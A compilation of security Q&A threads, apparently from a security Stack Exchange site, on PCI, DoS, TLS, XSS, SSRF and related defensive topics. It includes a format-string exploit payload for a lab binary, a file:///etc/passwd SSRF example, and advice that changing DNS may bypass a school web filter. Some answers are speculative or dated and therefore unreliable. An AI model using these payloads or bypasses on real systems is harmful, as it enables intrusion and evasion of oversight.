Is storing CVV compliant with PCI standards? From personal, job-related experience I know that many "Booking Engines" store the CVV info for customers' credit cards from the time a reservation is made until the time the guest leaves the hotel. For people who reserve their rooms a year in advance, that means their CVV data is in the Booking Engine for a complete year!

I'm aware of this because my duties require me to regularly interface with several providers of this service, and this allows me to have access to a multitude of customers' CVC/CVV/CVV2 codes. I have personally observed the applications' behavior of collecting the code at reservation time and retaining it until check-out.

Certain Booking Engines do limit the number of times you can look at the credit card information (I believe one in particular limited me to 5), but the information is still being passed to the Channel Manager and PMS - and I work with all three.

Of course there are certain Payment Gateways which do not require the CVV code to process a transaction. However, many of the hoteliers I work with have Payment Gateways which do.

I'm concerned that retention of this data for such a long period is against PCI-DSS standards, or other legal requirements or industry best practices. I've read answers to one question here on the topic (link below) but the issue is still a bit unclear to me with regards to how this applies for services like Booking Engines.

Storing CVC / CVV / CVV2 until payment is processed

Storing CVV is not allowed:

There are a few things to consider:

You assume booking.com is storing CVV
You're assuming a CVV is needed to process a transaction.

On 1) - there can be no way to confirm whether booking.com, Expedia are storing unless you work there. They would have to answer to a QSA. Now, as far as the CVV that is stored, that is CVV2 information, it's used for CNP transactions. What I can see a company doing, is perhaps making a cryptographic hash, storing the hash and making a comparison.

On 2) - again, CVV is just an additional mechanism meant to prevent fraud. It it not really needed to process a transaction.

Once a process is authorized, some credit card companies give merchants other identifiers to use for future validation. This can be read/explained via Visa's "Merchant's Best Practice for Recurring Transactions."

Had I to guess how it works:

Consumer --> (CC + CVV2) --> Merchant
Merchant --> process this --> VISA
VISA --> all is good to go btw here is a summary [additional code] for future reference --> VISA
Merchant --> stores additional code for future reference
Consumer (months later) --> "I want to buy this" --> Merchant
Merchant --> we have data from you, and also from Visa
Merchant --> processed thank you --> Consumer

My best guess on a limited amount of reading, and or caffeine.


Is it considered as a DOS attack if I add too much data to a page so that it doesn't respond at all? I am working on an application. There is a new feature implemented where a user create some IDs and secret keys for that application.
I have observed that there is no rate limit for creating those.
I have sent the request to intruder and created nearly 11000 sets of IDs and secrets.
So whenever any user tries to access that page, it loads continuously and displays a message that page has become unresponsive and as a result it doesn't let user to access anything in the page.
In my point of view, this is a vulnerability because lack of rate limiting is leading to inaccessibility of the page for all the users in the application.
However, I am confused if it is as considered as a DOS attack or valid rate limiting issue.
Please suggest with valid justification.

I would definitely call this a DOS attack.  More precisely it is an application layer DOS attack in that it doesn't malformed packets and other network layer denial of service tricks like small window sizes to be effective.  These are hardest to defend against because many DDOS protection products are looking for the network layer attacks.
I think in the DOS lingo, these would be called "heavy" requests as each legitimate request consumes server resources.  This CloudFlare article says it well:

Application layer attacks or layer 7 (L7) DDoS attacks refer to a type
of malicious behavior designed to target the “top” layer in the OSI
model where common internet requests such as HTTP GET and HTTP POST
occur. These layer 7 attacks, in contrast to network layer attacks
such as DNS Amplification, are particularly effective due to their
consumption of server resources in addition to network resources.


Isolation AWS resources with multiple subnets vs multiple VPCs I have AWS resources (e.g. EC2s, RDS instances) that I would like to isolate from each other so that if one is compromised, the potential damage is limited. I am most concerned about data leakage / exfiltration. I can group these resources into logical "areas". Some of the resources need access to the public internet. Some of the resources need API access to other resources in different areas. Occasionally, developers will need to make SSH connections to the resources via OpenVPN, so those keys might also be a security risk.
My understanding is that I can split my resources in a few ways:

A single VPC and a single subnet with communication controlled by security groups (I understand this is not recommended, buy why?)
A single VPC with multiple subnets and controlled communication between them
Multiple VPCs each containing multiple subnets, with controlled communication between them

What are the security implications of each approach?

A VPC is a virtual network within your AWS account, and within that VPC you can have multiple subnets.
There's 2 types of subnets, a public subnet and a private subnet.

A public subnet, is just a subnet that has an internet gateway attached to it -- meaning it has the ability to connect to/from the internet.
A private subnet is a subnet without an internet gateway attached. No internet access -- at least not directly.

If you have just one subnet across your VPC, you'd effectively have one giant public subnet, which means everything has potential internet access, at that point you'd be relying on Security groups only for your network protection.
Multiple VPCs with multiple subnets are generally more difficult to manage (you'd have to peer the VPCs together), and unless you absolutely need them I'd suggest a single VPC with multiple subnet approach.
Within that construct you can limit access to subnets/instances via both NACLs and Security Groups, which generally speaking is sufficient for most use-cases.


How to verify if a RADIUS server certificate is really validated on Windows 10? A RADIUS server has a self-signed certificate for radius.example.com. (There could also be Windows Active Directory Certificate Services PKI, but this should work similarly, shouldn't it?)

The self-signed certificate is installed on all client computers using Group Policy (through Security Settings > Public Key Policies/Trusted Root Certification Authorities).
In Network Authentication Method Properties (on Wireless Network (802.11) Policies, IEEE 802.1X Settings) validating this certificate is enforced by applying these settings for the SSID:

Authentication method: Protected EAP (PEAP)
Validate server certificate: Enabled
Connect to these servers: radius\.example\.com
Trusted Root Certification Authorities: [x] radius.example.com (alone)
Do not prompt user to authorize new servers or trusted certification authorities Enabled.

It's assumed that clients wouldn't authenticate against any RADIUS servers not signed by the radius.example.com on any evil twin AP scenarios. However, this is hard to verify from the Windows 10 GUI, as it only says that "Some settings are hidden or managed by your organization" and doesn't show in detail what settings are applied.

What would be the simplest method to verify that client computers are really validating the certificate? RSoP shows that the GPO itself is applied. The certificate is in its place (certmgr.msc).

First idea was to perform the evil twin attack and test, but that would require heavy arrangements. Much easier is to make the existing network temporarily look like a foreign environment. This can be done on the client side:

Manually remove the certificate for radius.example.com from the Trusted Root Certification Authorities using the Certificates (Local Computer) Snap-in and create a fake replacement.
Try to connect to the wireless network. This should now fail as the certificate verification fails.
Using wired network, run gpupdate /force and reboot the computer, if required.
The certificate gets reinstalled and the wireless network authentication should work again.


Identifying the correct SSID Suppose a Wi-Fi network is present with a given SSID. Now I create a hotspot with the same SSID as that of the original network. If a user tries to connect to the Wi-Fi, which one will he connect to? Also suppose the original Wi-Fi asked for a password, while my hotspot doesn't. Does this mean that the user "prefrably" gets connected to my hotspot? How does authentication work?
Is the user shown both the SSIDs (with identical names) as result of a passive scan?

If it is a known connection(the user has connected to it before) chances are it'll automatically connect to that one and they wouldn't have to enter the password again, but if they'd never connected before, chances are the user will connect to one without a password if they do not know the password to the protected one, because hey, 'free wifi'. Any devices would connect to a wifi connection that they have been connected to before because it will be a trusted connection and wouldn't need to connect to any other wifi, so will ignore any other connections.


Are .zip files used as a modern attack vector? I recently advised someone to share (publish) a bunch of files by just posting a .zip somewhere, but realized this may look malicious to a recipient. This suspicion might be driven from Windows 95 or 98 era, where zip files were frequently associated with viruses (and even using Gmail in 2005 or so I remember naming a file from .zip to .piz so I could use email to store it...)

How have zip files been used as an attack vector?

The simplest attack would be just compressing a malicious executable file (Windows, Mac, Linux, whatever) and hoping the user is unlucky enough to execute it, e.g. by double-clicking on it.
Some media files can execute code upon reading it in certain OSes (I
learned on Superuser just
now).
But it's also likely enough that a decompressor would have a memory bug in it that can lead to malicious content being executed.

Which of these have historically (in the last 20 years or so) been the reason .zip is seen as dangerous? Even sending a compressed malicious executable is a more difficult attack vector than it used to be, since OSes like Mac OS make it "annoying" for the user to execute an arbitrary downloaded file.

I still get a lot of email virus that use Zip archives as payload. Initially, virus authors would use Zip archives to evade detection by antivirus software that merely looks for executable files. Antivirus authors adapted and began to recognize the Zip archives and scan their contents.

Some virus authors tried some things such as nesting Zip archives in Zip archives, counting on the human user to keep on clicking while the antivirus would not be as thorough. Some have began to use Zip bombs. As usual, malware and antimalware developers are engaged in a neverending hide-and-seek game.

The real killer is when virus authors began to send encrypted Zip archives, with the decryption password being written as simple text (or a picture, or some other mechanism) in the accompanying email. This relies on the human user trying to open the Zip, then dutifully typing the password that was provided in the email "for security reasons". Some people really do that ! This effectively prevents antivirus software from scanning the Zip contents, so some antivirus simply declare all Zip files to be terminally evil and shoot them on sight.


Security web scanner tool for IIS/SQL Server I'm trying to do penetration testing of our ASP.NET web-site to check for security loopholes (specifically for SQL injections). We bought a commercial web scanner tool (IBM Rational AppScan), however it only does black box scanning for IIS and fails to detect SQL injections in certain scenarios.

What we're looking for is a similar tool to AppScan, but it should also be able to 'attach' to an IIS process (or SQL Server DB that we're using as a back end) and detect whether or not a certain HTTP request generated an actual SQL injection.

Looks like the latest version of AppScan (8.5) does it but only for Java-based web services.  We need something that can work in IIS/SQL Server environment.

I'm not quite sure you're looking for a preventative tool or a detective tool.

A SQLI is basically a method to get an app server to send valid sql queries to the database, right?  Pen testing can show you the "how" given the myriad of ways to send queries to be executed by the sql server.  If you're looking for a preventative (and sometimes detective) technologies, a web application firewall and database firewall may fit better than a app test tool (rational, core impact, etc).  A web application firewall usually comes with signatures for a bunch of vuln including different SQL injection methods but some of the advanced products will fingerprint typical request and response data to make sure a valid request doesn't generate a response that's atypical.

A database firewall picks up where the  web app firewall left off and keeps an eye on the actual query and response.

Imperva offers both web and database firewall.  Secerno/Oracle offers a database firewall, but I think it's only for Oracle dbs.  I'm sure there are other vendors that offer a database firewall.


SSL / TLS Ciphersuites There's a large list of ciphersuites inside SSL / TLS. It seems like that these ciphersuites can be categorized in terms of their underlying mechanism with following categories:

RSA Key Exchange (e.g. TLS-RSA-WITH-AES-128-CBC-SHA256)
RSA with Ephermal Diffie Hellman (DHE-RSA) Key Exchange (e.g. TLS-DHE-RSA-WITH-AES-128-CCM)
RSA with Elliptic Curve Ephermal Diffie Hellman (ECDHE-RSA) Key Exchange (e.g. TLS-ECDHE-RSA-WITH-3DES-EDE-CBC-SHA)
RSA with Elliptic Curve Diffie Hellman (ECDH-RSA) Key Exchange (e.g. TLS-ECDH-RSA-WITH-CAMELLIA-128-CBC-SHA256)
ECDSA with Elliptic Curve Ephermal Diffie Hellman (ECDHE-ECDSA) Key Exchange (e.g. TLS-ECDHE-ECDSA-WITH-NULL-SHA)
Pre Shared Key (PSK) Key Exchange (e.g. TLS-PSK-WITH-RC4-128-SHA)
Pre Shared Key with Diffie Hellman (DHE-PSK) Key Exchange (TLS-DHE-PSK-WITH-AES-256-CBC-SHA384)
Pre Shared Key with Elliptic Curve Ephermal Diffie Hellman (ECDHE-PSK) Key Exchange (e.g. TLS-ECDHE-PSK-WITH-AES-256-CBC-SHA384)
Pre Shared Key with RSA (RSA-PSK) Key Exchange (e.g. TLS-RSA-PSK-WITH-AES-128-CBC-SHA256)

I'm looking for an answer that gives a short summary of the category, what kind of public / private keys are used for key exchange and signatures and where to "find" these keys (e.g. inside server's certificate), what kind of cipher is used for confidentiality and eventually how data is authenticated. It would be nice if the answer could use the example ciphersuite given for that category.

I'm not going to answer all of your question especially diving into the x509 format is probably out of the scope of an answer here but let's look at the ciphersuite examples you gave and interpret them:

TLS-RSA-WITH-AES-128-CBC-SHA256

This uses RSA for key exchange. In other words, the client picks a key, encrypts it with the servers public key and sends it over.
The actual payload is encrypted using AES-128 in CBC mode and authenticated using HMAC-SHA256.

TLS-ECDHE-RSA-WITH-3DES-EDE-CBC-SHA

This uses ephemeral keys from an elliptic curve DH key agreement. The host is authenticated using an RSA signature. The payload is encrypted using 3DES (EDE = encrypt-decrypt-encrypt) in CBC mode and HMAC-SHA1 for authentication.

Here is the list of ciphersuites with their specifications.

All the suites you mention use RSA or PSK for the authentication.
So the only key you will find in a certificate is the RSA key.
A PSK cannot have a certificate since it is a symmetric key and getting it certified would mean giving away and putting the secret key in the public
certificate. So the only key you have to look for in certificates is an RSA key.

The DH agreements create new keys and are also not found in the certificates.

Edit: Please don't try to parse x509 yourself. It's notoriously hard and has lead to many exploitable errors in the past.


Retrieve, from a failed wifi hotspot connection attempt, the password posted I want to get the wrong password that a user enters at a wifi hotspot on android.
I just want to know if this is possible on android and if so how.

If you could do that easily, consider that you will be able to get easily the correct password.

TL;DR: no it isn't possible.

There are attacks where an user may compromise the password from a wifi hotspot, but mostly these are possible because we get large amounts of encrypted packages (this is a simplification, obviously you also need a bug in the implementation of the security mechanism).

Consider that when trying to access with an invalid password you only have one package so the only way to exploit it would be brute force.

In fact, it seems harder to get an specific erroneous password than the good one.


how easy a device can be hacked? from when i was kid until today , i still have this idea that  hacking is someone knows your ip address then he magically control your device and take a copy of your data. without even sending you a file or a software to install , then i saw in cve website that there are some vulnerabilities on android such as when a file is loaded and arbitrary code can be executed on your device , the word when a well crafted file is loaded seems scary , that mean for me that visiting a websites can lead to load this crafted file as a image or others , what i do want to know , is hacking really that easy ? just when a file is loaded it will execute code on your device ?

No one can just "read" anything from your computer/smartphone via the internet. Your computer/smartphone has to actively send it to them.

This being said, there are many applications running on your computer/smartphone that are designed to send data to others through the internet, just like your browser, when it is sending your request to view a certain web page or your messaging client when you send a message or check the server if there are new messages.

For your convenience, many of these applications will not ask your permission everytime they send something to the internet, but they will permanently listen to the internet for legitimate requests and reply to them.

But how does an application distinguish between legitimate requests and malicious requests? This is the tricky part and if developers made a mistake here, attackers can find and exploit it.

So, what increases your risk of "getting hacked"?

having many applications running that communicate with the internet
using many "convenient" features like automatic installation, automatic loading of media contents, etc.
Using old versions of your applications (and your operation system). When software developers get word of security breaks in their software they usually try to fix them asap and release a new fixed version.

So, don't litter your devices with useless, outdated applications. Always update your operation system and the applications you need and remove those you don't need.


Any way to get high quality live proxies other than buying them from a website? Free & public proxies are not safe when transmitting sensitive info,  but even if they were are much too slow. I can't purchase due a potential security risk. I looked into and tried proxy scraping, but that's just gathering a large amount of public free proxies.

I'm curious if there is a method, tool, or any way to create or find fast secure proxies of all kinds at their source? Like however the sites that sell them get them. The tool or method doesn't need to be free.

Thanks!

The sites that sell proxies either have setup these proxies themselves or just scan the internet and look for open proxies. As you discovered yourself, these free proxies are usually not safe. They might sniff the traffic, inject advertisements or even malware - because this is their business model.

The only way to get a proxy you could consider as secure is to either create such a proxy yourself or to somebody you trust with creating such a proxy. This rules out any companies or tools which just find such proxies, because there is no way to find out if the proxy is really secure, i.e. not modifying the traffic and not even sniffing to the traffic, not keeping log files etc.


Is it safe to store a single symmetric key encrypted with several different RSA public keys? For the field-based encryption of a database containing sensitive information, I was thinking of the following design:

Every user has a smartcard used for client certificate login.
After login the user gets the symmetric key (AES for example) encrypted with the public key of his smartcard.
The user decrypts the key and uses it to encrypt/decrypt any sensible data on the client.

In the database there is a table containing all the public keys of the user smartcards and the global symmetric key encrypted with the public key of each user. The rest of the sensitive data is encrypted with the symmetric key.

Is the data safe if the database gets compromised?

Another possible solution would be, to store additionally the same global RSA key on all the smartcards and use this key with RSA-KEM to encrypt all the sensible data. Disadvantage would be that this makes it harder to change the global key in the production setup as all the smardcards would have to be replaced/reprogrammed.

What do you think?

Storing the same symmetric key encrypted multiple ways is not a problem, but using the same key for every client is, unless you have an unusually high degree of trust between the clients, as it enables the clients to decrypt each other's communication with server.

It would be more secure to generate a new symmetric key for each session, which is then encrypted using the clients asymmetric key, and stored for the duration of session.


Should I test my SSL certificate for "RSA Shared Primes" before using it? There are several papers from 2012 that say it's possible to factor several moduli by factoring shared primes.  The link above includes python sourcecode to verify and test for this fact.

Given this knowledge, what should I do as an IT Security Professional with regard to all my server's SSL certificates, and other encryption artifacts that may or may not be vulnerable.

Question

If SSL is vulnerable, is it a good idea for me to test and reissue affected certificates? Or should I simply change the ciphers that my web server uses?
Is prior encrypted data from RSA or DHE based sessions vulnerable?

If it is simple enough to test, then you might as well do so. I don't know of any service or other mechanism that will do this test for you, but if you do then have at it. The likelihood of an attack is probably pretty slim, but the severity is pretty extreme. It's certainly worth fixing if you detect it.

Yes, any prior sessions, if captured, can be decrypted if your private key can be derived. Unless you use Diffie-Hellman to generate your ephemeral session key (currently extremely uncommon); just search for "Perfect Forward Secrecy" for information about protecting today's sessions against tomorrow's attacks.

Note that your primes are determined when you generate your key, not your certificate. Generating a key costs nothing (but your time) and can be done as many times as you please. So if you're going to test, you might as well generate the key ahead of time (or perhaps several in one go) test, and then generate a CSR based only on a "strong" key. A computer with a good TRNG (such as recent Linuxes and BSDs) is helpful here, since a bad PRNG is typically your source of bad keys.

Also, several CAs will allow you to "re-key" a certificate, which essentially means issue a new one with the original expiration date. So if at any point your key is suspect, that may be an option.


Overwrite return adress with a format string vulnerability without gdb I try exploit a format string in a vulnerable program.

For information, it is the lab4A of the RPIsec course.
The NX protection and ASLR is disable but the program is FULL RELRO.

So my idea, it is to overwrite the ret address to execute my shellcode.
I do it with gdb but without it, I can't find the good adress.

This is my payload:B\xde\xf4\xff\xbf\xdc\xf4\xff\xbf%49142x%14$x%14290x%15$x

0xbffff4dc is the location of the return adress in my program. It can change a little like 0xbffff4cc or 0xbffff4bc.

So without gdb, I try to execute my payload with different addresses like this: 0xbffff4ec 0xbffff4fc 0xbffff50c... but I did'nt get success.

How can I find the good address?

I found my answer here: https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

My problem was my shellcode is load in a environment variable.

So for bypass this problem, I used a return libc attack!


Unidentified public network sending traffic through my computer I'm having a problem with one of my computers. I suspect it's being used for something malicious.

A few weeks ago my internet connection went down, I called my ISP and they told me that no MAC address could be received from my computer, but a day later the internet went back online, only this time there was an unidentified public network connected via internet to my computer, and the light on my motherboards network adapter was glowing red even though traffic came through.

At first I didn't give it much thought, just reset the internet connection when the network popped up. It did so randomly, sometimes 2-3 times a day, sometimes once every few days.

Yesterday I decided to look into it and found out the network was sending huge amounts of information to and from my computer, 180MB received, 30MB sent over a period of 20 minutes when my computer was idle, having no other established connections other than to that network.

I decided to take a look at the traffic using WireShark and found out a lot of PDU parts being sent to me from the IP I was connected to, and random queries sent out to a couple of other IP's from my computer.

I did a full format erasing everything to see if I could solve it, but somehow the network is still there sending data.

I'm in way over my head here, so I would appreciate if you guys could shed some light on this.

It's interesting that you started to see this after your internet link went down and was restored. It's possible that they are incorrectly routing traffic down your internet link, and that's why you are seeing the increase in traffic. Try calling your ISP and asking them to verify that they aren't routing another subnet down your link.


Is this anti-forgery scheme secure? To prevent cross-site request forgery attacks, I'm considering the following scheme:

For each user, store a random key. If the user submits any "dangerous" information, include a security token and a creation date in the upload. If the creation date older than T (I'm currently leaning 5 minutes), the request is considered expired and invalid.

The security token will be a MAC (Poly1305-AES ?) over the creation date, signed with the random key of the user. If the request is young enough, check if the MAC is valid for the datetime for this user. If it is, consider the request authentic.

Is this scheme secure against CSRF and replay attacks, provided all communication will be over https?

CSRF is a solved problem. See CSRF Prevention Cheat Sheet on owasp.


Dealing with users who reuse bad passwords What is the best (or good) practise to deal with users, who are determined to reuse their old password, whether it be good or bad? Or simply use a bad password?

Scenario:

A user wants to create an account on our website. We have some criteria such as length and special characters. The user then enters their usual password, which we look up on https://haveibeenpwned.com/Passwords to see if it has been in any breaches. In this case, the user's password has been leaked in the past.

At this point, we have a couple of options:

Tell the user in a friendly way, that their password is insecure, because it has been leaked before
Tell them 1. and tell them they can't use that password, because it could put their account at risk
Tell them 1. but allow them to use it, if they check a checkbox saying "I am aware that I am using a password that has been leaked"

Obviously, the best possible thing is to not let them use that password, however, some users might not tolerate that. I certainly wouldn't, but it completely depends on the case. Option 3 is interesting, because if they get hacked and sue us for allowing them to use a bad password, they can always claim they didn't see the checkbox.

Have there been any papers on this, with any kind of proof, that proves that one method is better than the other? Any statistics on the matter?

I know Microsoft enforces the good old "we noticed you tried to change password to a previous password you had". Certainly some thoughts must've went through their minds, if they disallow users to use old passwords.

It would do you well to read up on why Troy created the pwned password list in the first place.

NIST guidelines are pretty explicit what to do: "If the chosen secret is found in the list, the CSP or verifier SHALL advise the subscriber that they need to select a different secret, SHALL provide the reason for rejection, and SHALL require the subscriber to choose a different value." (emphasis mine)

Block the bad password. Tell them why you're blocking it. For bonus points, suggest a randomly generated password they can use instead, or link to a site describing how to generate one (or provide a list of password managers).

Or, as others have said, use some sort of 3rd-party authentication, e.g. "login with Google" or "log in with Facebook".


Why is it necessary to match the checksum of a download with another file provided by the same server? Possible Duplicate:
  Does hashing a file from an unsigned website give a false sense of security?

On many servers providing files for download, there is a file on which checksums are provided for each download. Example1 Example2

I understand that these checksums can be provided in order to check that the download succeeded (file not corrupt). File downloads over HTTP or FTP are quite reliable though.

But why would it prevent me from downloading a malicious file? If an attacker can modify the download on the server, it means that the server has been compromised. Thus, the attacker might also have modified those MD5SUMS files.

So is it really necessary to use the provided checksum if both the checksum and the original download are provided by the same server?

Really, when they are on the same site, there is no real security value.  It is only of a security value when trying to verify that a file from another source is the same file (though even that may be dubious thanks to success of collision attacks against a lot of typical error detection hashes.)  The primary reason, as you mentioned, is simply to make sure that you can validate the transmission was ok.


How secure is the "no-password" login scheme? A few websites (such as medium.com) offer a password-free login user experience: when you want to login, 1. you just enter your email, then 2. a login token link is sent via email, then 3. you click on the link, and you're logged. Password never required.

How secure is this login scheme?

Traditional scheme (login+password): is it possible to log on example.com?

A Password ok + email access ok => [login OK]
B Password ok + email access lost (e.g. mail account hacked) => [login OK]
                                             + tip: quickly change email in "Settings"
C Password lost + email access ok => "Forgot my password" system => [login OK]
D Password lost + email access lost => [login not OK]

No-password scheme: is it possible to log on example.com?

E email acccess ok => [login OK]
F email acccess lost (e.g. mail account hacked) => [login not OK]

It seems that the "no-password scheme" is more vulnerable to loosing one's email account.

Is this really a weakness? (or maybe there's a solution I haven't seen?)

Is there a way to make "no-password" login scheme better?

PS: Not a dupe of this question but it doesn't address the question of what happens when email account is lost, etc.

The protection mechanism in using a password when talking username+password is to provide authentication. Whether it is sufficient is dependent on the threat model.

When using a "no-password scheme" as you describe, you move the initial authentication to the mail account, with which the account was created. Sending a link to the mail account provides possible attack vectors, but if we ignore these and focus solely on the mechanism of using a link with a session token, it can be a valid way to provide authentication. In principle you are using the mail account for federation of identity, which is to say that you as a user put trust in your mail provider and your own awareness on mail usage when using a "no-password scheme".

You pose the question whether the "no-password scheme" is more vulnerable to hijack of the mail account. As the mail account is your sole mean of providing identity and authentication, it is more vulnerable to account hijack through your mail provider than a scheme where you can provide a username+password. However the username+password is not a vulnerable point in the model for the website account.

Your question to whether it is a weakness, is dependent on whether the user supplies a secure means of mail account usage. The focus of the login is removed from the website and the user puts trust in the mail provider and the session establishment via a link with a session token sent in (dependent on threat model and possibilities) an encrypted or secured mail.

Making a scheme like the "no-password scheme" better could be to introduce a two-factor component. If you consider that your link with a session token is one factor, you could introduce an out-of-band validation mechanism, such as Google Authenticator, FIDO U2F, or a similar concept such as printed keys from the website. This could strengthen the security, but would not make the experience more seamless.


Why did hosts get infected if the endpoint protection product has a signature for that malware? Multiple hosts were attempting CNC communication that is specific to a threat from at least 2013, H-worm.

However, endpoint protection is deployed on these hosts and functioning but no malicious files were recently detected. The endpoint protection product is even specified in the malware's CNC. But this threat is very old and my vendor seems to have signatures for it. I queried some file hashes (from the FireEye article I linked above) in VirusTotal to see if my vendor detects them and it does. Scheduled antivirus scans were also running as they should but nothing was detected.

My main question is, why did the endpoint protection miss these infections?

Right now I have 3 guesses:

A product malfunction has taken place and I need to contact my vendor;
There exist (new?) instances of H-worm that are not detected by my vendor
These infections are not reflected in endpoint protection logs for some legitimate reason

Anti-malware software can have exclusions of files with certain extensions or exclude certain drives or directories from scanning. If the malware is located in a location excluded for scanning, the software will not identify, quarantine or remove the offending software.

You can have a look through the software configuration for such exclusions. If you know where the worm is located, you could run a parallel test by placing the eicar test file in that folder and see if that is identified. If the software is scanning the infected location and is not finding the worm or eicar, the software is not fit for purpose.


TLS server key: possible to sign another TLS server key? If I have a valid (verifiable) certificate C_K_s that links the server key K_s to "www.example.com", is it possible to :

use K_s to sign K_d, and let S_K_d be this signature
use K_d as the TLS server key

when a TLS client connects, I would:

show C_K_s to establish that the official key is K_s
then during session key negotiation:

show S_K_d to establish that the actual key is K_d
sign the pairwise private key, or server DHE key, with K_d

I want TLS clients to tell users that the server key is K_s.

K_s is the key I will print, that users can check, etc. (Users do not need to know about K_d.)

s is for static: K_s would rarely change, can be stored off-line and/or stay encrypted. For example, in a secured configuration, K_s could be stored in a special mass storage that can only be read once after each reboot (I believe this property can be obtained f.ex. with a TPM).
d is for dynamic: K_d can change often, must be in clear-text in server memory at all times.

I just want to be able to change my real server K_d as often as I want, without either the CA, Perspective, some "SSL Observatory"... knowing about it because the official signing key is really K_s. The official certificate is C_K_s so Certificate Patrol should not store only C_K_s and not tell when C_K_d changes.

Would it be possible to emulate this behaviour using a fixed (precomputed) DHE key as K_d?

Clarification about the term "certificate"

I used the term "certificate" for the validation of K_d using K_s, and this unfortunate wording has created some confusion.

The TLS server would only possess K_d (not K_s), so a link between K_s and K_d is needed, and I called that link a "certificate", but it is just a signature of K_d by K_s.

Certificates have a purpose field. So if you let a well known certification authority sign your server key, the resulting certificate will only be valid for servers.

In order to sign other keys, you need to get a certificate with the certificate signing purpose. In theory there is an extension which limits CAs to a domain, but it is hardly used. Therefore there are very high requirements for CAs.


How can I protect this PHP code against XSS? I have simple PHP code for checking IP:

<?php
$ip = $_SERVER['REMOTE_ADDR'];

and

echo ("
Your IP: $ip
");

If I use htmlentities, then my html doesn't work.

What is the best way to protect it against XSS?

Use htmlentities just on the user-supplied data:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$escaped_ip = htmlentities($ip);
echo ("
Your IP: $escaped_ip
");

If you are writing a real application, it would be better to use some template language that escapes values by default. This makes it easier for the developer to do it correctly, making it more secure.


Security risks of fetching user-supplied URLs We are considering to add the following feature to our web application (an online product database, if it matters):

Instead of uploading an image, the user can provide the (self-hosted) URL of an image. We store the URL instead of the image.

So far, so good. However, sometimes our web application will have to fetch the image from the (external, user-supplied) URL to do something with it (for example, to include the image in a PDF product data sheet).

This concerns me, because it means that our web server will send out HTTP requests to user-supplied URLs.  I can immediately think of a lot of evil stuff that can be done with this (for example, by entering http://192.168.1.1/... as the URL and trying out some common router web interface exploits). That seems similar to cross-site request forgery, only it's not the web server tricking the user into submitting a web request, it's the user tricking the web server.

Surely, I'm not the first one facing this issue. Hence, my questions:

Does this attack vector have a name? (So that I can do further research...)
Are there any other risks associated with fetching user-supplied URLs that I should be aware of?
Are there some well-established best-practice techniques to mitigate those risks?

This particular vulnerability indeed has a name. It is called Server-Side Request Forgery (SSRF). SSRF is when a user can make a server-side application retrieve resources that were unintended by the application developer, such as other webpages on an internal network, other services that are only available when accessed from loopback (other web services and APIs, sometimes database servers), and even files on the server (file:///etc/passwd). See the SSRF Bible and PayloadsAllTheThings for examples on how it can be abused. Since it's an image tag, most things probably won't be displayed, but it's still an issue to fix.

What to do about it? You can reference the OWASP SSRF Cheat Sheet. Your situation matches the second case, although you won't be able to perform all of the mitigations, like changing requests to POST or adding a unique token. The guidance otherwise boils down to:

Whitelist allowed protocols: Allow HTTP and HTTPS, disallow everything else (e.g. a regex like ^https?://).
Check that the provided hostname is public: Many languages come with an IP address library; check whether the target hostname resolves to a non-private and non-reserved IPv4 or IPv6 address*.
My own addition, custom firewall rules: The system user that runs the web application could be bound to restrictive firewall rules that block all internal network requests and local services. This is possible on Linux using iptables/nftables. Or, containerize/separate this part of the application and lock it down.

Perhaps you could also validate the MIME type of the file at the time of retrieval to ensure it is an image. Also, do not accept redirects when fetching the image, or perform all the same validation on them if you do. A malicious webserver could just send a 3xx response that redirects you to an internal resource.

Additionally, you mentioned you are generating PDFs from user entered data. Your image URL aside, PDF generators have historically been a breeding ground for XXE (XML eXternal Entity injection) and SSRF vulnerabilities. So even if you fix the custom URL, make sure your PDF generation library avoids these issues, or perform the validation yourself. A DEFCON talk outlines the issue (PDF download).

* As mentioned in comments, DNS responses can contain multiple results, and responses could change between requests, causing a time-of-check time-of-use (TOCTOU) problem. To mitigate, resolve and validate once, and use that originally validated IP address to make the request, attaching the host header to allow the correct virtual host to be reached.


Is Exposing Real IP Through Subdomain A Security Implication? It seems pretty common for websites to expose their real IP address through subdomains.  Many DoS mitigation providers hide your real IP address for the core domain, but leave a subdomain exposed for access through this delivery network. For some, ssh.example.com is an example of one that would expose a real IP address for remote connections to connect.

Does using a random subdomain like the one below introduce any security implications?

MtVERcwLMnCSdQshuVI27r2PVjAXfDtZBKu3EksHw4QN+s8Hz2PkHw1cG7gqTaMG.example.com.

Does using a random subdomain like the one below introduce any
  security implications?

The issue isn't so much whether you're making things less secure, rather it's whether this serves any benefit and whether there's not a better alternative to serve the same purpose.

  ssh.example.com

The reason people do this is because it's easier to remember a subdomain than an IP address, and so they do this albeit at the risk someone might discover the IP.

In your example it's unlikely anyone could guess the subdomain, but I doubt anyone could remember a random 64 character subdomain either - so really you might as well just remember the IP and avoid the risk altogether.

Further to that, there's better ways to provide access to administration services while still offering a similar level of convenience. For example you could have a VPN gateway on a different server/network and administer your production servers via that.

That way even if you had a vpn.example.com subdomain and they discovered and DDoS'd that, it wouldn't expose or affect your production servers. You may not be able to access the VPN until you mitigate the DDoS, but the impact on your service will be much lower.


Would changing my DNS get through i-Boss? I'm not exactly sure how the web filter iBoss works but it doesn't seem to be installed on all the computers at my school so I was thinking it probably handles connections directly at the DNS level and also because if resources on a website are trying to be loaded from outside websites or servers that are blocked i-Boss filters them as well. I was wondering if I changed the DNS on the NIC whether or not iBoss wouldn't be able to filter search queries, websites, etc. No I don't plan on getting myself in trouble, I ask purely out of curiosity and because it interests me.

From iBoss Knowledgebase on HTTPS Filtering:

The iBoss blocks DNS outgoing requests which would block secure sites users are trying to connect to that fall under the iBoss filtering policies.
If you are experiencing iBoss not filtering secure sites, try to flush the DNS cache by re-booting the computer and the iBoss unit.

So yes, it sounds like changing your DNS servers will bypass it.
Assuming you have sufficient control over the computer to change the DNS settings, such as your own personal device, that is.


SHA256 security: what does it mean that attacks have broken "46 of the 60 rounds of SHA256"? Wikipedia reports

  Currently, the best public attacks break 46 of the 64 rounds of SHA-256 or 46 of the 80 rounds of SHA-512.

What does this mean, and how safe is SHA-256 expected to be in the conceivable future? To a layperson, 46 out of 64 may sound like it's about "72% broken". Since Bitcoin relies on SHA-256, is it still likely going to remain secure?

